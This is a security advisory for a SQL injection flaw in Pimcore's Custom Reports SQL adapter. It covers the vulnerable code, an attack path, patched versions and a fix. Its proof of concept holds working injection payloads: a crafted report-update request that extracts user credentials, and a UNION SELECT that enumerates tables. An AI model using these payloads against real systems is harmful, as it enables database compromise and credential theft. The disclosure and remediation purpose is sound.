Summary # Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration
## Summary
### Impact
A SQL injection vulnerability exists in the Custom Reports bundle (`bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135`). An authenticated attacker with `reports_config` permission can inject arbitrary SQL via the report configuration fields (`sql`, `from`, `where`, `groupby`), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for `ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE` keywords, which is trivially bypassable — it does not block `INSERT`, `UNION SELECT`, `LOAD_FILE()`, `INTO OUTFILE`, stacked queries, subqueries, or MySQL comment injection (`/*!*/`). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.
Additionally, the LIMIT clause at line 51 directly interpolates `$offset` and `$limit` without integer casting, creating a secondary injection point.
### Patches
Versions 2026.1.6, 12.3.10, 11.5.19.
### Workarounds
1. Restrict `reports_config` permission to only highly trusted administrators
2. Deploy a WAF rule to block requests to `/admin/bundle/customreports/custom-report/update` containing SQL keywords in the `configuration` parameter
3. Replace the custom SQL adapter with a parameterized query builder approach
## Attack Path (Validation Evidence)
```
[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1
↓ (requires reports_config permission + valid admin session)
[Controller] CustomReportController::updateAction()
↓ $configuration = decodeJson($request->request->getString('configuration'))
[Config Store] Configuration saved to custom_reports database table
[Config Load] Tool\Config::getByName() loads stdClass $config from DB
↓
[Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config)
↓ Directly concatenates config fields:
[Vulnerable] $sql .= "\n" . $config['sql']; // Line 92
$sql .= "\n" . $config['from']; // Line 103
$sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Line 110
$sql .= "\n" . $config['groupby']; // Line 117
[Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...)
↓ ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments
[Execution] $db->fetchAllAssociative($sql); // Line 54
↓
[Impact] Arbitrary SQL execution — full database compromise
```
## Taint Flow (Validation Evidence)
```
Source: $request->request->getString('configuration') (HTTP POST body, user-controlled)
↓ json_decode() → stdClass
[Store] Persistent in database (custom_reports table)
[Load] Config::getByName() → stdClass $config
↓ ✗ No sanitization (only bypassable regex blacklist)
[Sink] $db->fetchAllAssociative($concatenatedSql)
↓
Impact: Attacker-controlled SQL executed against the database
```
## Proof of Concept
### Steps
1. Authenticate as an admin user with `reports_config` permission
2. Send a report update request with malicious SQL in the configuration:
### Request
```http
POST /admin/bundle/customreports/custom-report/update HTTP/1.1
Host: <target-host>
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid_admin_session>
name=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D
```
3. Access the report data endpoint to retrieve extracted user credentials
4. Alternatively, the `where` field can be set to:
```
1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES
```
to enumerate all database tables
### Expected Result
The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.
## Affected Component
- **File:** `bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php`
- **Method:** `buildQueryString()` (lines 84-135), `getBaseQuery()` (lines 137-216), `getData()` (lines 25-58)
- **Class:** `Pimcore\Bundle\CustomReportsBundle\Tool\Adapter\Sql`
## Fix Recommendation
Replace the custom SQL concatenation approach with a parameterized query builder:
```php
// Instead of:
$sql .= "\n" . $config['sql'];
$sql .= "\n" . $config['from'];
$sql .= "\n" . 'WHERE (' . $config['where'] . ')';
// Use a whitelist-based approach:
// 1. Only allow predefined table names from a whitelist
// 2. Use Doctrine QueryBuilder for WHERE conditions
// 3. Use parameterized queries for all user-supplied values
// 4. Cast LIMIT/OFFSET to integers
$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;
```
## Resources
- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)
- [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)
RemediationUpgrade to the fixed version using your package manager.
Composer
Update pimcore/pimcore to 11.5.19 or later composer require "pimcore/pimcore:^11.5.19" Composer
Update pimcore/pimcore to 12.3.10 or later composer require "pimcore/pimcore:^12.3.10" Composer
Update pimcore/pimcore to 2026.1.6 or later composer require "pimcore/pimcore:^2026.1.6" After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.
Affected Packages (3)Affects 1 ecosystem: packagist (1).
Package Ecosystem Affected Fixed In pimcore/pimcore packagist
10.0.8, 2.2.0, 2.2.1, 2.2.2 (+292 more) 11.5.19 pimcore/pimcore packagist
v12.0.0, v12.0.0-RC1, v12.0.0-RC2, v12.0.1 (+25 more) 12.3.10 pimcore/pimcore packagist
v2026.1.0, v2026.1.1, v2026.1.2, v2026.1.3 (+2 more) 2026.1.6
Vulnerability ClassificationCommon Weakness Enumeration (CWE) identifiers for this vulnerability type.
CVSS Score BreakdownWhat the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H